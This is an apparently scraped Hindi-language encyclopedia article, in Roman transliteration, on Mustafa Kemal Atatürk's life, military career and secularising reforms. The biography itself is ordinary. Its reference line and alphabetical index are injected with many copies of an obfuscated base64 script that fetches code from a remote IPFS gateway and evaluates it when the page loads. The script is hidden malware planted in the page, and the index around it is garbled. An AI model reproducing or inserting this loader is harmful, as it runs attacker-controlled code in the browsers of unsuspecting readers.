कमाल अतातुर्क

kamal ataturk urph "mustafa kamal pasha" (janm- 19 mee, 1881; mrityu- 10 navambar, 1938 ee.) ko 'adhunik turki ka nirmata' kaha gaya hai. samrajyavadi shasak sultan abdul hamid dvitiy ka turki mean pasa palat kar vahaan kamal ki samajik, rajanitik v arthik vyavastha kayam karane ka jo krantikari kary kamal ataturk ne kiya, us aitihasik kary ne unake nam ko sarthak siddh kar diya tha. kamal ataturk ne turki sena ko atyant adhunik dhang se sangathit kiya. unake vishesh prayasoan se hi turk jati adhunik jati bani.

janm tatha shiksha

mustafa kamal pasha ka janm 19 mee, 1881 ee. mean salonika mean ek kisan parivar mean hua tha. 11 sal ki umr mean hi vah itane durdaant man lie ge the ki unhean sadharan vidyalay se nikal dena p da aur vah salonika mean sainik vidyalay ke vidyarthi ho ge. vahaan bhi unaka vahi svabhav bana raha. par unhean sainik vidya mean dilachaspi rahi. 17 varsh ki umr mean monastir ke uchch sainik vidyalay mean shiksha prapt karane ke bad unhean sab-leftineant ka pad dekar kustuantuniya ke 'staf k aaulej' mean bhej diya gaya.^[1]

kraantikari dal ke sadasy

vahaan vah adhyayan ke sath-sath buri sangat mean ghoomate rahe. kuchh kal tak uddand jivan bitane ke bad vah 'vatan' namak ek gupt kraantikari dal ke sadasy aur tho de hi din mean neta ban ge. 'vatan' ka uddeshy ek taraf sultan ki tanashahi aur doosari taraf videshiyoan ke shadyantroan ko mitana tha. ek din dal ki baithak ho rahi thi ki ek guptachar ne khabar de di aur sabake sab shadyantrakari aphasar giraptar karake jel bhej die ge. prachalit qanoon ke anusar unhean mrityudand diya ja sakata tha, par durbalachitt sultan ko bhay tha ki kahian aisa karane par desh mean vidroh n bh dak uthe, at: usane sabako kshamadan karane ka nishchay kiya. is prakar kamal chhoot ge aur drooj jati ke vidroh ko dabane ke lie damishk bheje ge. vahaan kamal ne achchha kam kiya, par kustuantuniya lautate hi unhoanne 'vatan' dal ka phir se sangathan kar liya.

sthanaantaran

is bich unhean yah jnat hua ki makadooniya mean sultan ke viruddh khula vidroh hone vala hai. is par kamal ne chhutti le li aur vah jafa, misr, etheans hote hue vesh badalakar vidroh ke keandr salonika pahuanche. lekin vahaan vah pahachan lie ge. phir vah gris hote hue jafa bhage. par tab tak unaki giraptari ka adesh vahaan pahuanch chuka tha. 'ahamad be' namak ek aphasar par kamal ataturk ko pak dane ka bhar tha, par ahamad svayan vatan ka sadasy tha, isalie usane kamal ko giraphtar karane bajay unhean gaja morche par bhej diya aur yah riport bhej di ki vah chhutti par ge hi nahian the. yadyapi kamal ataturk salonika mean bahut tho de samay tak rah pae the, phir bhi vah samajh ge the ki use hi vidroh ka keandr banana hai, isalie b de prayatnoan ke bad 1908 mean unhoanne apana sthanaantaran vahaan kara liya.^[1]

anavar pasha ka shaanti prayas

yahaan anavar ke netritv mean do sal pahale hi 'ekata aur pragati samiti' nam se ek kraantikari dal ki sthapana ho chuki thi. kamal ataturk phauran isake sadasy ban ge, par netaoan se unaki nahian banian. phir bhi samiti ka kam karate rahe. is dal ke ek neta niyazi ne keval kuchh sau adamiyoan ko lekar turki sarakar ke viruddh vidroh bol diya. halaanki yah b di murkhata ki bat thi, par desh taiyar tha, isalie jo sena usase l dane ke lie bheji gee, vah bhi usase ja mili. is prakar desh mean anavar ka jay-jayakar ho gaya. ab sah sammilit sena rajadhani par akraman karane ki taiyari kar rahi thi. sultan ne inhian dinoan kuchh shasan sudhar bhi kie. phir bhi vidroh ki shaktiyaan kam karati rahian, par jab vidroh saphal ho chuka, tab sultan abdul hamid ne sena ke kuchh logoan ko yathesht ghoos dekar mila liya, jisase sainikoan ne vidroh karake apane aphasaroan ko mar dala aur phir ek bar islam, sultan aur khalifa ki jay ke nare buland hue.

shadyantr

in dinoan anavar barlin mean the. vah jaldi hi laute aur unhoanne abdul hamid ko sianhasanachyut karake pratikriyavadiyoan ke bisiyoan netaoan ko phaansi par chadha diya aur kraantikari samiti ke hath mean shakti a gee. abdul hamid ka bhaanja sianhasan par namamatr ke lie bithaya gaya. ab kamal ataturk anavar ke viruddh shadyantr karate rahe, kyoanki unake vichar se anavar avyavaharik vyakti the, adarshavadi adhik the. anavar ne is samay hone vale videshi akramanoan ko bhi pratihat kiya aur isase unaki khyati aur badhi. isake bad anavar ne apane sarv islami svapn ko saty karane ke lie kary aranbh kiya aur unhoanne isake lie sabase pahala kam yah kiya ki turki sena ko sangathit karane ka bhar ek jarman janaral ko diya. kamal ataturk ne isake viruddh aandolan kiya ki yah turki jati ka apaman hai. is par kamal sainik doot banakar sofiya bhej die ge.

grik sena se yuddh

isi bich mahayuddh chhi d gaya. isamean anavar saphal nahian ho sake, par kamal ataturk ne ek yuddh mean kustuantuniya par adhikar karane ki british chal ko vyarth kar diya aur usake bad unaki jit par jit hoti chali gee. phir bhi mahayuddh mean turki har gaya. kamal din rat parishram karake videshiyoan ke viruddh aandolan karate rahe. 1920 ee. mean 'svro ki sandhi' ki ghoshana huee, par isaki shartean itani kharab thian ki kamal ne phauran hi ek sena taiyar kar kustuantuniya par akraman ki taiyari ki. isi bich gris ne turki par hamala kar diya aur smarana mean sena utar di jo kamal ataturk ke pradhan keandr aangara ki taraf badhane lagi. ab kamal ataturk ke lie b di samasya paida ho gee, kyoanki is yuddh mean yadi ve har jate to age koee sanbhavana n rahati. unhoanne b di taiyari ke sath yuddh kiya aur dhire-dhire grik sena ko pichhe hatana p da.^[1]

rashtrapati ka pad

is bich fraans aur roos ne bhi kamal ataturk ko gupt roop se sahayata dena shuroo kiya. tho de dinoan mean hi grik nikal bahar kie ge. grikoan ko bhagane ke bad hi aangrezoan ke hath se baki hisse nikalane ka prashn tha. desh kamal ataturk ke sath tha, isake atirikt briten ab l dane ke lie taiyar nahian tha. is karan yah samasya bhi sulajh gee. kamal ne desh ko prajatantr ghoshit kiya aur svayan pratham rashtrapati bane.

mullaoan ka virodh

ab rajy lagabhag nishkantak ho chuka tha, par mullaoan ki or se unaka virodh ho raha tha. is par kamal ne sarakari akhabaroan mean islam ke viruddh prachar shuroo kiya. ab to dharmik netaoan ne unake viruddh fatave jari kar die aur yah kaha ki- "kamal ne aangara mean striyoan ko parde se nikala aur aur desh mean adhunik nrity ka prachar kiya hai, jisamean purush striyoan se satakar nachate haian. isaka aant hona chahie." har masjid se yah avaj uthaee gee. tab kamal ataturk ne 1924 ee. ke march mean khilaphat pratha ka aant karate hue aur turki ko dharmanirapeksh rashtr ghoshit karate hue ek vidheyak rakha. adhikaansh sansad sadasyoan ne isaka virodh kiya, par kamal ne unhean dhamakaya. is par vidheyak parit ho gaya. lekin bhitar-bhitar mullaoan ke vidroh ki ag sulagati rahi. kamal ataturk ke kee bhootapoorv sathi mullaoan ke sath mil ge. in logoan ne videshi pooanjipatiyoan se dhan bhi liya. kamal ataturk ne ek din inake mukhy netaoan ko giraphtar par phaansi par chadha diya.

sudhar kary

kamal ataturk ne dekha ki keval phaansi par chadhane se kam nahian chalega, desh ko adhunik roop se shikshit karana hai tatha purane riti rivajoan ko hi nahian, pahanave adi ko bhi samapt karana hai. kamal ataturk ne hamala turki topi par kiya. is par vidroh hue, par kamal ne sena bhej di. isake bad inhoanne islami qanoonoan ko hatakar unake sthan par ek nee sanhita sthapit ki, jisamean svitazaralaiand, jarmani aur itali ki sab achchhi batean shamil thian. bahuvivah gair-qanooni ghoshit kar diya gaya. isake sath hi patiyoan se yah kaha gaya ki ve apani patniyoan ke sath dhoroan ki tarah-vyavahar n karake barabari ka bartav rakhean. pratyek vyakti ko vot ka adhikar diya gaya. sevaoan mean ghoos lena nishiddh kar diya gaya aur ghoosakhoroan ko bahut k di sajaean di geean. parda utha diya gaya aur purush purane dhang ke parichchhed chho dakar soot pahanane lage. isase bhi b da sudhar yah tha ki arabi lipi ko hatakar roman lipi ki sthapana ki gee. kamal ataturk svayan s dakoan par jakar roman varnamala padhate rahe.^[1]

nidhan

isake sath hi kamal ataturk ne turki sena ko atyant adhunik dhang se sangathit kiya. is prakar turk jati unake karan adhunik jati bani. 1938 ee. ke 10 navambar mean mustafa kamal ataturk ki mrityu huee to adhunik turki ke nirmata ke roop mean unaka nam sansar mean chamak chuka tha.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 ^1.3 kamal ataturk (hindi). . abhigaman tithi: 14 julaee, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[aa-1] 1.0 ^1.1 ^1.2 ^1.3 kamal ataturk (hindi). . abhigaman tithi: 14 julaee, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]